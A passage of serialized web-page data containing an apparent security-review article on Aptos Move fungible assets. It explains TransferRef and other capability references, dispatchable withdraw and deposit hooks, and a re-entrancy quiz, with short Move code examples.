with that object. While the store could no longer be moved using the owner's ",{"type":26,"tag":53,"props":64915,"children":64917},{"className":64916},[],[64918],{"type":32,"value":6859},{"type":32,"value":64920}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":26,"tag":41,"props":64922,"children":64924},{"id":64923},"references",[64925],{"type":32,"value":64926},"References",{"type":26,"tag":35,"props":64928,"children":64929},{},[64930,64935,64937,64943,64945,64950,64952,64957],{"type":26,"tag":53,"props":64931,"children":64933},{"className":64932},[],[64934],{"type":32,"value":64926},{"type":32,"value":64936}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":26,"tag":53,"props":64938,"children":64940},{"className":64939},[],[64941],{"type":32,"value":64942},"Refs",{"type":32,"value":64944}," are based on the ",{"type":26,"tag":53,"props":64946,"children":64948},{"className":64947},[],[64949],{"type":32,"value":48544},{"type":32,"value":64951}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":26,"tag":53,"props":64953,"children":64955},{"className":64954},[],[64956],{"type":32,"value":48544},{"type":32,"value":64958}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":26,"tag":35,"props":64960,"children":64961},{},[64962,64964,64969,64971,64976,64977,64983,64985,64990,64992,64997],{"type":32,"value":64963},"Let's get back to the ",{"type":26,"tag":53,"props":64965,"children":64967},{"className":64966},[],[64968],{"type":32,"value":61768},{"type":32,"value":64970}," deletion example. Both ",{"type":26,"tag":53,"props":64972,"children":64974},{"className":64973},[],[64975],{"type":32,"value":63053},{"type":32,"value":209},{"type":26,"tag":53,"props":64978,"children":64980},{"className":64979},[],[64981],{"type":32,"value":64982},"fungible_asset::remove_store",{"type":32,"value":64984}," use the same object-specific ",{"type":26,"tag":53,"props":64986,"children":64988},{"className":64987},[],[64989],{"type":32,"value":62985},{"type":32,"value":64991}," permission. It can be created only during object creation. There is no separate ",{"type":26,"tag":53,"props":64993,"children":64995},{"className":64994},[],[64996],{"type":32,"value":62985},{"type":32,"value":64998}," for fungible assets.",{"type":26,"tag":465,"props":65000,"children":65001},{"className":2685,"code":62935,"language":2684,"meta":7,"style":7},[65002],{"type":26,"tag":53,"props":65003,"children":65004},{"__ignoreMap":7},[65005,65012,65051,65058,65065],{"type":26,"tag":475,"props":65006,"children":65007},{"class":477,"line":478},[65008],{"type":26,"tag":475,"props":65009,"children":65010},{"style":552},[65011],{"type":32,"value":62947},{"type":26,"tag":475,"props":65013,"children":65014},{"class":477,"line":516},[65015,65019,65023,65027,65031,65035,65039,65043,65047],{"type":26,"tag":475,"props":65016,"children":65017},{"style":2375},[65018],{"type":32,"value":61367},{"type":26,"tag":475,"props":65020,"children":65021},{"style":2375},[65022],{"type":32,"value":490},{"type":26,"tag":475,"props":65024,"children":65025},{"style":493},[65026],{"type":32,"value":62963},{"type":26,"tag":475,"props":65028,"children":65029},{"style":499},[65030],{"type":32,"value":626},{"type":26,"tag":475,"props":65032,"children":65033},{"style":2375},[65034],{"type":32,"value":62972},{"type":26,"tag":475,"props":65036,"children":65037},{"style":714},[65038],{"type":32,"value":179},{"type":26,"tag":475,"props":65040,"children":65041},{"style":714},[65042],{"type":32,"value":6854},{"type":26,"tag":475,"props":65044,"children":65045},{"style":505},[65046],{"type":32,"value":62985},{"type":26,"tag":475,"props":65048,"children":65049},{"style":499},[65050],{"type":32,"value":647},{"type":26,"tag":475,"props":65052,"children":65053},{"class":477,"line":539},[65054],{"type":26,"tag":475,"props":65055,"children":65056},{"emptyLinePlaceholder":18},[65057],{"type":32,"value":545},{"type":26,"tag":475,"props":65059,"children":65060},{"class":477,"line":548},[65061],{"type":26,"tag":475,"props":65062,"children":65063},{"style":552},[65064],{"type":32,"value":63004},{"type":26,"tag":475,"props":65066,"children":65067},{"class":477,"line":558},[65068,65072,65076,65080,65084,65088,65092,65096],{"type":26,"tag":475,"props":65069,"children":65070},{"style":2375},[65071],{"type":32,"value":61367},{"type":26,"tag":475,"props":65073,"children":65074},{"style":2375},[65075],{"type":32,"value":490},{"type":26,"tag":475,"props":65077,"children":65078},{"style":493},[65079],{"type":32,"value":63020},{"type":26,"tag":475,"props":65081,"children":65082},{"style":499},[65083],{"type":32,"value":626},{"type":26,"tag":475,"props":65085,"children":65086},{"style":482},[65087],{"type":32,"value":63029},{"type":26,"tag":475,"props":65089,"children":65090},{"style":714},[65091],{"type":32,"value":179},{"type":26,"tag":475,"props":65093,"children":65094},{"style":505},[65095],{"type":32,"value":63038},{"type":26,"tag":475,"props":65097,"children":65098},{"style":499},[65099],{"type":32,"value":647},{"type":26,"tag":35,"props":65101,"children":65102},{},[65103,65105,65110,65112,65118],{"type":32,"value":65104},"On the other hand, the \"frozen\" status of a ",{"type":26,"tag":53,"props":65106,"children":65108},{"className":65107},[],[65109],{"type":32,"value":61768},{"type":32,"value":65111}," is toggled using a ",{"type":26,"tag":53,"props":65113,"children":65115},{"className":65114},[],[65116],{"type":32,"value":65117},"TransferRef",{"type":32,"value":65119},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":26,"tag":465,"props":65121,"children":65123},{"className":2685,"code":65122,"language":2684,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n ref: &TransferRef,\n store: Object\u003CT>,\n frozen: bool,\n)\n",[65124],{"type":26,"tag":53,"props":65125,"children":65126},{"__ignoreMap":7},[65127,65163,65187,65214,65233],{"type":26,"tag":475,"props":65128,"children":65129},{"class":477,"line":478},[65130,65134,65138,65143,65147,65151,65155,65159],{"type":26,"tag":475,"props":65131,"children":65132},{"style":2375},[65133],{"type":32,"value":61367},{"type":26,"tag":475,"props":65135,"children":65136},{"style":2375},[65137],{"type":32,"value":490},{"type":26,"tag":475,"props":65139,"children":65140},{"style":2375},[65141],{"type":32,"value":65142}," set_frozen_flag",{"type":26,"tag":475,"props":65144,"children":65145},{"style":499},[65146],{"type":32,"value":5519},{"type":26,"tag":475,"props":65148,"children":65149},{"style":505},[65150],{"type":32,"value":5701},{"type":26,"tag":475,"props":65152,"children":65153},{"style":714},[65154],{"type":32,"value":179},{"type":26,"tag":475,"props":65156,"children":65157},{"style":2375},[65158],{"type":32,"value":5645},{"type":26,"tag":475,"props":65160,"children":65161},{"style":499},[65162],{"type":32,"value":6302},{"type":26,"tag":475,"props":65164,"children":65165},{"class":477,"line":516},[65166,65171,65175,65179,65183],{"type":26,"tag":475,"props":65167,"children":65168},{"style":482},[65169],{"type":32,"value":65170}," ref",{"type":26,"tag":475,"props":65172,"children":65173},{"style":714},[65174],{"type":32,"value":179},{"type":26,"tag":475,"props":65176,"children":65177},{"style":714},[65178],{"type":32,"value":6854},{"type":26,"tag":475,"props":65180,"children":65181},{"style":505},[65182],{"type":32,"value":65117},{"type":26,"tag":475,"props":65184,"children":65185},{"style":499},[65186],{"type":32,"value":2425},{"type":26,"tag":475,"props":65188,"children":65189},{"class":477,"line":539},[65190,65194,65198,65202,65206,65210],{"type":26,"tag":475,"props":65191,"children":65192},{"style":2375},[65193],{"type":32,"value":29116},{"type":26,"tag":475,"props":65195,"children":65196},{"style":714},[65197],{"type":32,"value":179},{"type":26,"tag":475,"props":65199,"children":65200},{"style":505},[65201],{"type":32,"value":61253},{"type":26,"tag":475,"props":65203,"children":65204},{"style":499},[65205],{"type":32,"value":5519},{"type":26,"tag":475,"props":65207,"children":65208},{"style":505},[65209],{"type":32,"value":5701},{"type":26,"tag":475,"props":65211,"children":65212},{"style":499},[65213],{"type":32,"value":5852},{"type":26,"tag":475,"props":65215,"children":65216},{"class":477,"line":548},[65217,65221,65225,65229],{"type":26,"tag":475,"props":65218,"children":65219},{"style":2375},[65220],{"type":32,"value":60905},{"type":26,"tag":475,"props":65222,"children":65223},{"style":714},[65224],{"type":32,"value":179},{"type":26,"tag":475,"props":65226,"children":65227},{"style":505},[65228],{"type":32,"value":11759},{"type":26,"tag":475,"props":65230,"children":65231},{"style":499},[65232],{"type":32,"value":2425},{"type":26,"tag":475,"props":65234,"children":65235},{"class":477,"line":558},[65236],{"type":26,"tag":475,"props":65237,"children":65238},{"style":499},[65239],{"type":32,"value":647},{"type":26,"tag":35,"props":65241,"children":65242},{},[65243,65244,65249,65250,65255],{"type":32,"value":16319},{"type":26,"tag":53,"props":65245,"children":65247},{"className":65246},[],[65248],{"type":32,"value":48544},{"type":32,"value":6171},{"type":26,"tag":53,"props":65251,"children":65253},{"className":65252},[],[65254],{"type":32,"value":65117},{"type":32,"value":65256}," is used to transfer object ownership:",{"type":26,"tag":465,"props":65258,"children":65260},{"className":2685,"code":65259,"language":2684,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n self: address,\n}\n",[65261],{"type":26,"tag":53,"props":65262,"children":65263},{"__ignoreMap":7},[65264,65272,65305,65324],{"type":26,"tag":475,"props":65265,"children":65266},{"class":477,"line":478},[65267],{"type":26,"tag":475,"props":65268,"children":65269},{"style":552},[65270],{"type":32,"value":65271},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":26,"tag":475,"props":65273,"children":65274},{"class":477,"line":516},[65275,65279,65284,65288,65293,65297,65301],{"type":26,"tag":475,"props":65276,"children":65277},{"style":482},[65278],{"type":32,"value":9111},{"type":26,"tag":475,"props":65280,"children":65281},{"style":505},[65282],{"type":32,"value":65283}," TransferRef",{"type":26,"tag":475,"props":65285,"children":65286},{"style":2375},[65287],{"type":32,"value":9120},{"type":26,"tag":475,"props":65289,"children":65290},{"style":2375},[65291],{"type":32,"value":65292}," drop",{"type":26,"tag":475,"props":65294,"children":65295},{"style":499},[65296],{"type":32,"value":637},{"type":26,"tag":475,"props":65298,"children":65299},{"style":2375},[65300],{"type":32,"value":5654},{"type":26,"tag":475,"props":65302,"children":65303},{"style":499},[65304],{"type":32,"value":579},{"type":26,"tag":475,"props":65306,"children":65307},{"class":477,"line":539},[65308,65312,65316,65320],{"type":26,"tag":475,"props":65309,"children":65310},{"style":482},[65311],{"type":32,"value":20494},{"type":26,"tag":475,"props":65313,"children":65314},{"style":714},[65315],{"type":32,"value":179},{"type":26,"tag":475,"props":65317,"children":65318},{"style":2375},[65319],{"type":32,"value":5963},{"type":26,"tag":475,"props":65321,"children":65322},{"style":499},[65323],{"type":32,"value":2425},{"type":26,"tag":475,"props":65325,"children":65326},{"class":477,"line":548},[65327],{"type":26,"tag":475,"props":65328,"children":65329},{"style":499},[65330],{"type":32,"value":3607},{"type":26,"tag":35,"props":65332,"children":65333},{},[65334,65336,65341],{"type":32,"value":65335},"While the fungible asset's ",{"type":26,"tag":53,"props":65337,"children":65339},{"className":65338},[],[65340],{"type":32,"value":65117},{"type":32,"value":65342}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":26,"tag":465,"props":65344,"children":65346},{"className":2685,"code":65345,"language":2684,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n metadata: Object\u003CMetadata>\n}\n",[65347],{"type":26,"tag":53,"props":65348,"children":65349},{"__ignoreMap":7},[65350,65358,65366,65397,65424],{"type":26,"tag":475,"props":65351,"children":65352},{"class":477,"line":478},[65353],{"type":26,"tag":475,"props":65354,"children":65355},{"style":552},[65356],{"type":32,"value":65357},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":26,"tag":475,"props":65359,"children":65360},{"class":477,"line":516},[65361],{"type":26,"tag":475,"props":65362,"children":65363},{"style":552},[65364],{"type":32,"value":65365},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":26,"tag":475,"props":65367,"children":65368},{"class":477,"line":539},[65369,65373,65377,65381,65385,65389,65393],{"type":26,"tag":475,"props":65370,"children":65371},{"style":482},[65372],{"type":32,"value":9111},{"type":26,"tag":475,"props":65374,"children":65375},{"style":505},[65376],{"type":32,"value":65283},{"type":26,"tag":475,"props":65378,"children":65379},{"style":2375},[65380],{"type":32,"value":9120},{"type":26,"tag":475,"props":65382,"children":65383},{"style":2375},[65384],{"type":32,"value":65292},{"type":26,"tag":475,"props":65386,"children":65387},{"style":499},[65388],{"type":32,"value":637},{"type":26,"tag":475,"props":65390,"children":65391},{"style":2375},[65392],{"type":32,"value":5654},{"type":26,"tag":475,"props":65394,"children":65395},{"style":499},[65396],{"type":32,"value":579},{"type":26,"tag":475,"props":65398,"children":65399},{"class":477,"line":548},[65400,65404,65408,65412,65416,65420],{"type":26,"tag":475,"props":65401,"children":65402},{"style":2375},[65403],{"type":32,"value":61244},{"type":26,"tag":475,"props":65405,"children":65406},{"style":714},[65407],{"type":32,"value":179},{"type":26,"tag":475,"props":65409,"children":65410},{"style":505},[65411],{"type":32,"value":61253},{"type":26,"tag":475,"props":65413,"children":65414},{"style":499},[65415],{"type":32,"value":5519},{"type":26,"tag":475,"props":65417,"children":65418},{"style":505},[65419],{"type":32,"value":61262},{"type":26,"tag":475,"props":65421,"children":65422},{"style":499},[65423],{"type":32,"value":5706},{"type":26,"tag":475,"props":65425,"children":65426},{"class":477,"line":558},[65427],{"type":26,"tag":475,"props":65428,"children":65429},{"style":499},[65430],{"type":32,"value":3607},{"type":26,"tag":35,"props":65432,"children":65433},{},[65434,65436,65442,65444,65450],{"type":32,"value":65435},"Additionally, there are fungible asset-specific references such as ",{"type":26,"tag":53,"props":65437,"children":65439},{"className":65438},[],[65440],{"type":32,"value":65441},"MintRef",{"type":32,"value":65443}," for minting and ",{"type":26,"tag":53,"props":65445,"children":65447},{"className":65446},[],[65448],{"type":32,"value":65449},"BurnRef",{"type":32,"value":65451}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":26,"tag":27,"props":65453,"children":65455},{"id":65454},"dispatchable-fungible-assets",[65456],{"type":32,"value":65457},"Dispatchable fungible assets",{"type":26,"tag":35,"props":65459,"children":65460},{},[65461],{"type":32,"value":65462},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":26,"tag":35,"props":65464,"children":65465},{},[65466],{"type":32,"value":65467},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":26,"tag":65469,"props":65470,"children":65471},"warning",{},[65472],{"type":26,"tag":35,"props":65473,"children":65474},{},[65475,65477,65483],{"type":32,"value":65476},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":26,"tag":53,"props":65478,"children":65480},{"className":65479},[],[65481],{"type":32,"value":65482},"transfer_assert_minimum_deposit",{"type":32,"value":65484}," that can help mitigate such risks.",{"type":26,"tag":35,"props":65486,"children":65487},{},[65488,65490,65495,65497,65504],{"type":32,"value":65489},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":26,"tag":53,"props":65491,"children":65493},{"className":65492},[],[65494],{"type":32,"value":61367},{"type":32,"value":65496}," to ensure ",{"type":26,"tag":116,"props":65498,"children":65501},{"href":65499,"rel":65500},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[120],[65502],{"type":32,"value":65503},"their signature remains immutable",{"type":32,"value":65505},". An example implementation might look like this:",{"type":26,"tag":465,"props":65507,"children":65509},{"className":2685,"code":65508,"language":2684,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n store: Object\u003CT>,\n amount: u64,\n transfer_ref: &TransferRef,\n): FungibleAsset {\n //check paused, gather fees etc.\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n store: Object\u003CT>,\n fa: FungibleAsset,\n transfer_ref: &TransferRef,\n) {\n //check paused, gather fees etc.\n fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[65510],{"type":26,"tag":53,"props":65511,"children":65512},{"__ignoreMap":7},[65513,65549,65576,65595,65619,65638,65646,65692,65699,65706,65742,65769,65789,65812,65819,65826,65870],{"type":26,"tag":475,"props":65514,"children":65515},{"class":477,"line":478},[65516,65520,65524,65529,65533,65537,65541,65545],{"type":26,"tag":475,"props":65517,"children":65518},{"style":2375},[65519],{"type":32,"value":61367},{"type":26,"tag":475,"props":65521,"children":65522},{"style":2375},[65523],{"type":32,"value":490},{"type":26,"tag":475,"props":65525,"children":65526},{"style":2375},[65527],{"type":32,"value":65528}," withdraw_hook",{"type":26,"tag":475,"props":65530,"children":65531},{"style":499},[65532],{"type":32,"value":5519},{"type":26,"tag":475,"props":65534,"children":65535},{"style":505},[65536],{"type":32,"value":5701},{"type":26,"tag":475,"props":65538,"children":65539},{"style":714},[65540],{"type":32,"value":179},{"type":26,"tag":475,"props":65542,"children":65543},{"style":2375},[65544],{"type":32,"value":5645},{"type":26,"tag":475,"props":65546,"children":65547},{"style":499},[65548],{"type":32,"value":6302},{"type":26,"tag":475,"props":65550,"children":65551},{"class":477,"line":516},[65552,65556,65560,65564,65568,65572],{"type":26,"tag":475,"props":65553,"children":65554},{"style":2375},[65555],{"type":32,"value":29116},{"type":26,"tag":475,"props":65557,"children":65558},{"style":714},[65559],{"type":32,"value":179},{"type":26,"tag":475,"props":65561,"children":65562},{"style":505},[65563],{"type":32,"value":61253},{"type":26,"tag":475,"props":65565,"children":65566},{"style":499},[65567],{"type":32,"value":5519},{"type":26,"tag":475,"props":65569,"children":65570},{"style":505},[65571],{"type":32,"value":5701},{"type":26,"tag":475,"props":65573,"children":65574},{"style":499},[65575],{"type":32,"value":5852},{"type":26,"tag":475,"props":65577,"children":65578},{"class":477,"line":539},[65579,65583,65587,65591],{"type":26,"tag":475,"props":65580,"children":65581},{"style":2375},[65582],{"type":32,"value":61274},{"type":26,"tag":475,"props":65584,"children":65585},{"style":714},[65586],{"type":32,"value":179},{"type":26,"tag":475,"props":65588,"children":65589},{"style":505},[65590],{"type":32,"value":5573},{"type":26,"tag":475,"props":65592,"children":65593},{"style":499},[65594],{"type":32,"value":2425},{"type":26,"tag":475,"props":65596,"children":65597},{"class":477,"line":548},[65598,65603,65607,65611,65615],{"type":26,"tag":475,"props":65599,"children":65600},{"style":2375},[65601],{"type":32,"value":65602}," transfer_ref",{"type":26,"tag":475,"props":65604,"children":65605},{"style":714},[65606],{"type":32,"value":179},{"type":26,"tag":475,"props":65608,"children":65609},{"style":714},[65610],{"type":32,"value":6854},{"type":26,"tag":475,"props":65612,"children":65613},{"style":505},[65614],{"type":32,"value":65117},{"type":26,"tag":475,"props":65616,"children":65617},{"style":499},[65618],{"type":32,"value":2425},{"type":26,"tag":475,"props":65620,"children":65621},{"class":477,"line":558},[65622,65626,65630,65634],{"type":26,"tag":475,"props":65623,"children":65624},{"style":499},[65625],{"type":32,"value":2835},{"type":26,"tag":475,"props":65627,"children":65628},{"style":714},[65629],{"type":32,"value":179},{"type":26,"tag":475,"props":65631,"children":65632},{"style":505},[65633],{"type":32,"value":61232},{"type":26,"tag":475,"props":65635,"children":65636},{"style":499},[65637],{"type":32,"value":579},{"type":26,"tag":475,"props":65639,"children":65640},{"class":477,"line":582},[65641],{"type":26,"tag":475,"props":65642,"children":65643},{"style":552},[65644],{"type":32,"value":65645}," //check paused, gather fees etc.\n",{"type":26,"tag":475,"props":65647,"children":65648},{"class":477,"line":596},[65649,65654,65658,65663,65667,65672,65676,65680,65684,65688],{"type":26,"tag":475,"props":65650,"children":65651},{"style":499},[65652],{"type":32,"value":65653}," fungible_asset",{"type":26,"tag":475,"props":65655,"children":65656},{"style":714},[65657],{"type":32,"value":3187},{"type":26,"tag":475,"props":65659,"children":65660},{"style":493},[65661],{"type":32,"value":65662},"withdraw_with_ref",{"type":26,"tag":475,"props":65664,"children":65665},{"style":499},[65666],{"type":32,"value":626},{"type":26,"tag":475,"props":65668,"children":65669},{"style":2375},[65670],{"type":32,"value":65671},"transfer_ref",{"type":26,"tag":475,"props":65673,"children":65674},{"style":499},[65675],{"type":32,"value":637},{"type":26,"tag":475,"props":65677,"children":65678},{"style":2375},[65679],{"type":32,"value":5654},{"type":26,"tag":475,"props":65681,"children":65682},{"style":499},[65683],{"type":32,"value":637},{"type":26,"tag":475,"props":65685,"children":65686},{"style":2375},[65687],{"type":32,"value":20014},{"type":26,"tag":475,"props":65689,"children":65690},{"style":499},[65691],{"type":32,"value":647},{"type":26,"tag":475,"props":65693,"children":65694},{"class":477,"line":610},[65695],{"type":26,"tag":475,"props":65696,"children":65697},{"style":499},[65698],{"type":32,"value":3607},{"type":26,"tag":475,"props":65700,"children":65701},{"class":477,"line":650},[65702],{"type":26,"tag":475,"props":65703,"children":65704},{"emptyLinePlaceholder":18},[65705],{"type":32,"value":545},{"type":26,"tag":475,"props":65707,"children":65708},{"class":477,"line":679},[65709,65713,65717,65722,65726,65730,65734,65738],{"type":26,"tag":475,"props":65710,"children":65711},{"style":2375},[65712],{"type":32,"value":61367},{"type":26,"tag":475,"props":65714,"children":65715},{"style":2375},[65716],{"type":32,"value":490},{"type":26,"tag":475,"props":65718,"children":65719},{"style":2375},[65720],{"type":32,"value":65721}," deposit_hook",{"type":26,"tag":475,"props":65723,"children":65724},{"style":499},[65725],{"type":32,"value":5519},{"type":26,"tag":475,"props":65727,"children":65728},{"style":505},[65729],{"type":32,"value":5701},{"type":26,"tag":475,"props":65731,"children":65732},{"style":714},[65733],{"type":32,"value":179},{"type":26,"tag":475,"props":65735,"children":65736},{"style":2375},[65737],{"type":32,"value":5645},{"type":26,"tag":475,"props":65739,"children":65740},{"style":499},[65741],{"type":32,"value":6302},{"type":26,"tag":475,"props":65743,"children":65744},{"class":477,"line":735},[65745,65749,65753,65757,65761,65765],{"type":26,"tag":475,"props":65746,"children":65747},{"style":2375},[65748],{"type":32,"value":29116},{"type":26,"tag":475,"props":65750,"children":65751},{"style":714},[65752],{"type":32,"value":179},{"type":26,"tag":475,"props":65754,"children":65755},{"style":505},[65756],{"type":32,"value":61253},{"type":26,"tag":475,"props":65758,"children":65759},{"style":499},[65760],{"type":32,"value":5519},{"type":26,"tag":475,"props":65762,"children":65763},{"style":505},[65764],{"type":32,"value":5701},{"type":26,"tag":475,"props":65766,"children":65767},{"style":499},[65768],{"type":32,"value":5852},{"type":26,"tag":475,"props":65770,"children":65771},{"class":477,"line":744},[65772,65777,65781,65785],{"type":26,"tag":475,"props":65773,"children":65774},{"style":2375},[65775],{"type":32,"value":65776}," fa",{"type":26,"tag":475,"props":65778,"children":65779},{"style":714},[65780],{"type":32,"value":179},{"type":26,"tag":475,"props":65782,"children":65783},{"style":505},[65784],{"type":32,"value":61232},{"type":26,"tag":475,"props":65786,"children":65787},{"style":499},[65788],{"type":32,"value":2425},{"type":26,"tag":475,"props":65790,"children":65791},{"class":477,"line":753},[65792,65796,65800,65804,65808],{"type":26,"tag":475,"props":65793,"children":65794},{"style":2375},[65795],{"type":32,"value":65602},{"type":26,"tag":475,"props":65797,"children":65798},{"style":714},[65799],{"type":32,"value":179},{"type":26,"tag":475,"props":65801,"children":65802},{"style":714},[65803],{"type":32,"value":6854},{"type":26,"tag":475,"props":65805,"children":65806},{"style":505},[65807],{"type":32,"value":65117},{"type":26,"tag":475,"props":65809,"children":65810},{"style":499},[65811],{"type":32,"value":2425},{"type":26,"tag":475,"props":65813,"children":65814},{"class":477,"line":761},[65815],{"type":26,"tag":475,"props":65816,"children":65817},{"style":499},[65818],{"type":32,"value":676},{"type":26,"tag":475,"props":65820,"children":65821},{"class":477,"line":770},[65822],{"type":26,"tag":475,"props":65823,"children":65824},{"style":552},[65825],{"type":32,"value":65645},{"type":26,"tag":475,"props":65827,"children":65828},{"class":477,"line":794},[65829,65833,65837,65842,65846,65850,65854,65858,65862,65866],{"type":26,"tag":475,"props":65830,"children":65831},{"style":499},[65832],{"type":32,"value":65653},{"type":26,"tag":475,"props":65834,"children":65835},{"style":714},[65836],{"type":32,"value":3187},{"type":26,"tag":475,"props":65838,"children":65839},{"style":493},[65840],{"type":32,"value":65841},"deposit_with_ref",{"type":26,"tag":475,"props":65843,"children":65844},{"style":499},[65845],{"type":32,"value":626},{"type":26,"tag":475,"props":65847,"children":65848},{"style":2375},[65849],{"type":32,"value":65671},{"type":26,"tag":475,"props":65851,"children":65852},{"style":499},[65853],{"type":32,"value":637},{"type":26,"tag":475,"props":65855,"children":65856},{"style":2375},[65857],{"type":32,"value":5654},{"type":26,"tag":475,"props":65859,"children":65860},{"style":499},[65861],{"type":32,"value":637},{"type":26,"tag":475,"props":65863,"children":65864},{"style":2375},[65865],{"type":32,"value":61425},{"type":26,"tag":475,"props":65867,"children":65868},{"style":499},[65869],{"type":32,"value":3533},{"type":26,"tag":475,"props":65871,"children":65872},{"class":477,"line":831},[65873],{"type":26,"tag":475,"props":65874,"children":65875},{"style":499},[65876],{"type":32,"value":3607},{"type":26,"tag":65878,"props":65879,"children":65880},"question",{},[65881,65908],{"type":26,"tag":35,"props":65882,"children":65883},{},[65884,65886,65892,65894,65900,65901,65907],{"type":32,"value":65885},"Why hook functions rely on ",{"type":26,"tag":53,"props":65887,"children":65889},{"className":65888},[],[65890],{"type":32,"value":65891},"*_with_ref",{"type":32,"value":65893}," calls? What would happen if the hook function called ",{"type":26,"tag":53,"props":65895,"children":65897},{"className":65896},[],[65898],{"type":32,"value":65899},"dispatchable_fungible_asset::withdraw",{"type":32,"value":16499},{"type":26,"tag":53,"props":65902,"children":65904},{"className":65903},[],[65905],{"type":32,"value":65906},"fungible_asset::withdraw_with_ref",{"type":32,"value":2863},{"type":26,"tag":65909,"props":65910,"children":65911},"template",{"v-slot:answer-0":7},[65912,65924],{"type":26,"tag":35,"props":65913,"children":65914},{},[65915,65917,65922],{"type":32,"value":65916},"A1: Hook functions rely on ",{"type":26,"tag":53,"props":65918,"children":65920},{"className":65919},[],[65921],{"type":32,"value":65891},{"type":32,"value":65923}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":26,"tag":35,"props":65925,"children":65926},{},[65927,65929,65934],{"type":32,"value":65928},"A2: A ",{"type":26,"tag":53,"props":65930,"children":65932},{"className":65931},[],[65933],{"type":32,"value":65899},{"type":32,"value":65935}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":26,"tag":35,"props":65937,"children":65938},{},[65939],{"type":32,"value":65940},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":26,"tag":465,"props":65942,"children":65944},{"className":2685,"code":65943,"language":2684,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n assert_withdraw_flag(true);\n [...]\n set_withdraw_flag(false);\n fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n [...]\n }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n assert_withdraw_flag(false);\n [...]\n set_withdraw_flag(true);\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[65945],{"type":26,"tag":53,"props":65946,"children":65947},{"__ignoreMap":7},[65948,66043,66063,66078,66098,66141,66156,66163,66170,66289,66308,66323,66342,66385],{"type":26,"tag":475,"props":65949,"children":65950},{"class":477,"line":478},[65951,65955,65959,65963,65967,65971,65975,65979,65983,65987,65991,65995,65999,66003,66007,66011,66015,66019,66023,66027,66031,66035,66039],{"type":26,"tag":475,"props":65952,"children":65953},{"style":2375},[65954],{"type":32,"value":61367},{"type":26,"tag":475,"props":65956,"children":65957},{"style":2375},[65958],{"type":32,"value":490},{"type":26,"tag":475,"props":65960,"children":65961},{"style":2375},[65962],{"type":32,"value":61376},{"type":26,"tag":475,"props":65964,"children":65965},{"style":499},[65966],{"type":32,"value":5519},{"type":26,"tag":475,"props":65968,"children":65969},{"style":505},[65970],{"type":32,"value":5701},{"type":26,"tag":475,"props":65972,"children":65973},{"style":714},[65974],{"type":32,"value":179},{"type":26,"tag":475,"props":65976,"children":65977},{"style":2375},[65978],{"type":32,"value":5645},{"type":26,"tag":475,"props":65980,"children":65981},{"style":499},[65982],{"type":32,"value":7323},{"type":26,"tag":475,"props":65984,"children":65985},{"style":2375},[65986],{"type":32,"value":5654},{"type":26,"tag":475,"props":65988,"children":65989},{"style":714},[65990],{"type":32,"value":179},{"type":26,"tag":475,"props":65992,"children":65993},{"style":505},[65994],{"type":32,"value":61253},{"type":26,"tag":475,"props":65996,"children":65997},{"style":499},[65998],{"type":32,"value":5519},{"type":26,"tag":475,"props":66000,"children":66001},{"style":505},[66002],{"type":32,"value":5701},{"type":26,"tag":475,"props":66004,"children":66005},{"style":499},[66006],{"type":32,"value":6344},{"type":26,"tag":475,"props":66008,"children":66009},{"style":2375},[66010],{"type":32,"value":61425},{"type":26,"tag":475,"props":66012,"children":66013},{"style":714},[66014],{"type":32,"value":179},{"type":26,"tag":475,"props":66016,"children":66017},{"style":505},[66018],{"type":32,"value":61232},{"type":26,"tag":475,"props":66020,"children":66021},{"style":499},[66022],{"type":32,"value":637},{"type":26,"tag":475,"props":66024,"children":66025},{"style":2375},[66026],{"type":32,"value":65671},{"type":26,"tag":475,"props":66028,"children":66029},{"style":714},[66030],{"type":32,"value":179},{"type":26,"tag":475,"props":66032,"children":66033},{"style":714},[66034],{"type":32,"value":6854},{"type":26,"tag":475,"props":66036,"children":66037},{"style":505},[66038],{"type":32,"value":65117},{"type":26,"tag":475,"props":66040,"children":66041},{"style":499},[66042],{"type":32,"value":676},{"type":26,"tag":475,"props":66044,"children":66045},{"class":477,"line":516},[66046,66051,66055,66059],{"type":26,"tag":475,"props":66047,"children":66048},{"style"